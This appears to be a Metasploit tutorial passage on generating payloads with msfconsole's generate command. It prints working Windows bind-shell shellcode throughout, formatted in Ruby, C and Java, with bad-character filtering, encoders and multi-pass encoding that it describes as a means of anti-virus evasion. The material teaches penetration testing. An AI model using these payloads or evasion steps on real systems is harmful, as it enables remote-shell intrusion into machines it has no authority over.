Generating Payloads

During exploit development, you will most certainly need to generate shellcode to use in your exploit. In Metasploit, payloads can be generated from within the msfconsole. When you use a certain payload, Metasploit adds the generate, pry, and reload commands. Generate will be the primary focus of this section in learning how to use Metasploit.

msf > use payload/windows/shell_bind_tcp
msf payload(shell_bind_tcp) > help
...snip...

    Command       Description
    -------       -----------
    generate      Generates a payload
    pry           Open a Pry session on the current module
    reload        Reload the current module from disk

Let’s start by looking at the various options for the generate command by running it with the -h switch.

msf payload(shell_bind_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -E        Force encoding.
    -b   The list of characters to avoid: '\x00\xff'
    -e   The name of the encoder module to use.
    -f   The output file name (otherwise stdout)
    -h        Help banner.
    -i   the number of encoding iterations.
    -k        Keep the template executable functional
    -o   A comma separated list of options in VAR=VAL format.
    -p   The Platform for output.
    -s   NOP sled length.
    -t   The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
    -x   The executable template to use

To generate shellcode without any options, simply execute the generate command.

msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +
"\x6a\x00\x53\xff\xd5"

Of course the odds of generating shellcode like this without any sort of ‘tweeking’ are rather low. More often than not, bad characters and specific types of encoders will be used depending on the targeted machine.

The sample code above contains an almost universal bad character, the null byte (\x00). Granted some exploits allow us to use it but not many. Let’s generate the same shellcode only this time we will instruct Metasploit to remove this unwanted byte.

To accomplish this, we issue the generate command followed by the -b switch with accompanying bytes we wish to be disallowed during the generation process.

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xde\xba\x99\x7c\x1b\x5f\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x8d\x9e\xee\xa3" +
"\x45\xd7\x11\x5c\x95\x88\x98\xb9\xa4\x9a\xff\xca\x94\x2a" +
"\x8b\x9f\x14\xc0\xd9\x0b\xaf\xa4\xf5\x3c\x18\x02\x20\x72" +
"\x99\xa2\xec\xd8\x59\xa4\x90\x22\x8d\x06\xa8\xec\xc0\x47" +
"\xed\x11\x2a\x15\xa6\x5e\x98\x8a\xc3\x23\x20\xaa\x03\x28" +
"\x18\xd4\x26\
...snip...

Looking at this shellcode it’s easy to see, compared to the previously generated bind shell, the null bytes have been successfully removed. Thus giving us a null byte free payload. We also see other significant differences as well, due to the change we enforced during generation.

One difference is the shellcode’s total byte size. In our previous iteration the size was 341 bytes, this new shellcode is 27 bytes larger.

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
...snip...

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
...snip...

During generation, the null bytes’ original intent, or usefulness in the code, needed to be replaced (or encoded) in order to ensure, once in memory, our bind shell remains functional.

Another significant change is the added use of an encoder. By default Metasploit will select the best encoder to accomplish the task at hand. The encoder is responsible for removing unwanted characters (amongst other things) entered when using the -b switch. We’ll discuss encoders in greater detail later on.

When specifying bad characters the framework will use the best encoder for the job. The x86/shikata_ga_nai encoder was used when only the null byte was restricted during the code’s generation. If we add a few more bad characters a different encoder may be used to accomplish the same task. Lets add several more bytes to the list and see what happens.

msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
# windows/shell_bind_tcp - 366 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf" +
"\x5c\xbf\xe8\x83\xeb\xfc\...
...snip...

We see a different encoder was used in order to successfully remove our unwanted bytes. Shikata_ga_nai was probably incapable of encoding our payload using our restricted byte list. Fnstenv_mov on the other hand was able to accomplish this.

Having the ability to generate shellcode without the use of certain characters is one of the great features offered by this framework. That doesn’t mean it’s limitless. If too many restricted bytes are given no encoder may be up for the task. At which point Metasploit will display the following message.

msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'
[-] Payload generation failed: No encoders encoded the buffer successfully.

It’s like removing too may letters from the alphabet and asking someone to write a full sentence. Sometimes it just can’t be done.

As mentioned previously the framework will choose the best encoder possible when generating our payload. However there are times when one needs to use a specific type, regardless of what Metasploit thinks. Imagine an exploit that will only successfully execute provided it only contains non-alphanumeric characters. The ‘shikata_ga_nai’ encoder would not be appropriate in this case as it uses pretty much every character available to encode. Looking at the encoder list, we see the x86/nonalpha encoder is present.

msf  payload(shell_bind_tcp) > show encoders

Encoders
========

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
...snip...
   x86/call4_dword_xor                      normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                        manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                             low        Non-Alpha Encoder
   x86/nonupper                             low        Non-Upper Encoder
   x86/shikata_ga_nai                       excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                    manual     Single Static Bit
   x86/unicode_mixed                        manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                        manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

Let’s redo our bind shell payload but this time we’ll tell the framework to use the ‘nonalpha’ encoder. We do this by using the -e switch followed by the encoder’s name as displayed in the above list.

msf  payload(shell_bind_tcp) > generate -e x86/nonalpha
# windows/shell_bind_tcp - 489 bytes
# http://www.metasploit.com
# Encoder: x86/nonalpha
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x70\x8b\xd7" +
"\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" +
"\xf1\xeb\x75\xe8\xe2\xff\xff\xff\x17\x29\x29\x29\x09\x31" +
"\x1a\x29\x24\x29\x39\x03\x07\x31\x2b\x33\x23\x32\x06\x06" +
"\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x23\x21\x13\x13" +
"\x04\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x13\x28\x13\x11\x25\x24\x13\x14\x28\x24\x13\x28" +
"\x28\x24\x13\x07\x24\x13\x06\x0d\x2e\x1a\x13\x18\x0e\x17" +
"\x24\x24\x24\x11\x22\x25\x15\x37\x37\x37\x27\x2b\x25\x25" +
"\x25\x35\x25\x2d\x25\x25\x28\x25\x13\x02\x2d\x25\x35\x13" +
"\x25\x13\x06\x34\x09\x0c\x11\x28\xfc\xe8\x89\x00\x00\x00" +
...snip...

If everything went according to plan, our payload will not contain any alphanumeric characters. But we must be careful when using a different encoder other than the default. As it tends to give us a larger payload. For instance, this one is much larger than our previous examples.

Our next option on the list is the -f switch. This gives us the ability to save our generated payload to a file instead of displaying it on the screen. As always it follows the generate command with file path.

msf  payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /root/msfu/filename.txt
[*] Writing 1803 bytes to /root/msfu/filename.txt...
msf  payload(shell_bind_tcp) > cat ~/msfu/filename.txt
[*] exec: cat ~/msfu/filename.txt

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xcb\xb8\x4f\xd9\x99\x0f\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x56\x31\x42\x18\x83\xc2\x04\x03\x42\x5b\x3b\x6c\xf3" +
"\x8b\x32\x8f\x0c\x4b\x25\x19\xe9\x7a\x77\x7d\x79\x2e\x47" +
"\xf5\x2f\xc2\x2c\x5b\xc4\x51\x40\x74\xeb\xd2\xef\xa2\xc2" +
"\xe3\xc1\x6a\x88\x27\x43\x17\xd3\x7b\xa3\x26\x1c\x8e\xa2" +
"\x6f\x41\x60\xf6\x38\x0d\xd2\xe7\x4d\x53\xee\x06\x82\xdf" +
"\x4e\x71\xa7\x20\x3a\xcb\xa6\x70\x92\x40\xe0\x68\x99\x0f" +
"\xd1\x89\x4e\x4c\x2d\xc3\xfb\xa7\xc5\xd2\x2d\xf6\x26\xe5" +
...snip...

By using the cat command the same way we would from the command shell, we can see our payload was successfully saved to our file. As we can see it is also possible to use more than one option when generating our shellcode.

Next on our list of options is the iteration switch -i. In a nutshell, this tells the framework how many encoding passes it must do before producing the final payload. One reason for doing this would be stealth, or anti-virus evasion. Anti-virus evasion is covered in greater detail in another section of MSFU.

So let’s compare our bind shell payload generated using 1 iteration versus 2 iteration of the same shellcode.

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" +
"\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" +
"\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" +
"\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" +
"\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" +
...snip...

msf  payload(shell_bind_tcp) > generate -b '\x00' -i 2
# windows/shell_bind_tcp - 395 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xbd\xea\x95\xc9\x5b\xda\xcd\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x5d\x31\x6f\x12\x83\xc7\x04\x03\x85\x9b\x2b\xae\x80" +
"\x52\x72\x25\x16\x6f\x3d\x73\x9c\x0b\x38\x26\x11\xdd\xf4" +
"\x80\xd2\x1f\xf2\x1d\x96\x8b\xf8\x1f\xb7\x9c\x8f\x65\x96" +
"\xf9\x15\x99\x69\x57\x18\x7b\x09\x1c\xbc\xe6\xb9\xc5\xde" +
"\xc1\x81\xe7\xb8\xdc\x3a\x51\xaa\x34\xc0\x82\x7d\x6e\x45" +
"\xeb\x2b\x27\x08\x79\xfe\x8d\xe3\x2a\xed\x14\xe7\x46\x45" +
...snip...

Comparing the two outputs we see the obvious effect the second iteration had on our payload. First of all, the byte size is larger than the first. The more iterations one does the larger our payload will be. Secondly comparing the first few bytes of the highlighted code, we also see they are no longer the same. This is due to the second iteration, or second encoding pass. It encoded our payload once, than took that payload and encoded it again. Lets look at our shellcode and see how much of a difference 5 iterations would make.

msf  payload(shell_bind_tcp) > generate -b '\x00' -i 5
# windows/shell_bind_tcp - 476 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xb8\xea\x18\x9b\x0b\xda\xc4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x71\x31\x43\x13\x83\xeb\xfc\x03\x43\xe5\xfa\x6e\xd2" +
"\x31\x23\xe4\xc1\x35\x8f\x36\xc3\x0f\x94\x11\x23\x54\x64" +
"\x0b\xf2\xf9\x9f\x4f\x1f\x01\x9c\x1c\xf5\xbf\x7e\xe8\xc5" +
"\x94\xd1\xbf\xbb\x96\x64\xef\xc1\x10\x9e\x38\x45\x1b\x65" +
...snip...

The change is significant when comparing to all previous outputs. It’s slightly larger and our bytes are no where near similar. Which would, in theory, make this version of our payload less prone to detection.

We’ve spent lots of time generating shellcode from the start with default values. In the case of a bind shell the default listening port is 4444. Often this must be changed. We can accomplish this by using the -o switch followed by the value we wish to change. Let’s take a look at which options we can change for this payload. From the msfconsole we’ll issue the show options command.

msf  payload(shell_bind_tcp) > show options

Module options (payload/windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address

By default our shell will listen on port 4444 and the exit function is ‘process’. We’ll change this to port 1234 and ‘seh’ exit function using the -o. The syntax is VARIABLE=VALUE separated by a comma between each option. In this case both the listening port and exit function are changed so the following syntax is used LPORT=1234,EXITFUNC=seh.

msf  payload(shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b '\x00' -e x86/shikata_ga_nai
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xd1\xd9\x74\x24\xf4\xbb\x93\x49\x9d\x3b\x5a\x29\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x87\xab\x68\xc7" +
"\x4f\xa2\x93\x38\x8f\xd5\x1a\xdd\xbe\xc7\x79\x95\x92\xd7" +
"\x0a\xfb\x1e\x93\x5f\xe8\x95\xd1\x77\x1f\x1e\x5f\xae\x2e" +
"\x9f\x51\x6e\xfc\x63\xf3\x12\xff\xb7\xd3\x2b\x30\xca\x12" +
"\x6b\x2d\x24\x46\x24\x39\x96\x77\x41\x7f\x2a\x79\x85\x0b" +
"\x12\x01\xa0\xcc\xe6\xbb\xab\x1c\x56\xb7\xe4\x84\xdd\x9f" +
...snip...

Finally lets take a look at the NOP sled length and output format options. When generating payloads the default output format given is ‘ruby’. Although the ruby language is extremely powerful and popular, not everyone codes in it. We have the capacity to tell the framework to give our payload in different coding formats such as Perl, C and Java for example. Adding a NOP sled at the beginning is also possible when generating our shellcode.

First let’s look at a few different output formats and see how the -t switch is used. Like all the other options all that needs to be done is type in the switch followed by the format name as displayed in the help menu.

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...

msf  payload(shell_bind_tcp) > generate -t c
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
...snip...

msf  payload(shell_bind_tcp) > generate -t java
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
 * InitialAutoRunScript=, AutoRunScript=
 */
byte shell[] = new byte[]
{
	(byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89,
	(byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte) 0x8b,
	(byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28,
	(byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0,
	(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1,
...snip...

Looking at the output for the different programming languages, we see that each output adheres to their respective language syntax. A hash ‘#’ is used for comments in Ruby but in C it’s replaced with the slash and asterisk characters ‘/*’ syntax. Looking at all three outputs, the arrays are properly declared for the language format selected. Making it ready to be copied and pasted into your script.

Adding a NOP (No Operation or Next Operation) sled is accomplished with the -s switch followed by the number of NOPs. This will add the sled at the beginning of our payload. Keep in mind the larger the sled the larger the shellcode will be. So adding a 10 NOPs will add 10 bytes to the total size.

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...

msf  payload(shell_bind_tcp) > generate -s 14
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# NOP gen: x86/opty2
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" +
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...

The highlighted yellow text shows us our NOP sled at the payload’s beginning. Comparing the next 3 lines with the shellcode just above, we see they are exactly the same. Total bytes, as expected, grew by exactly 14 bytes.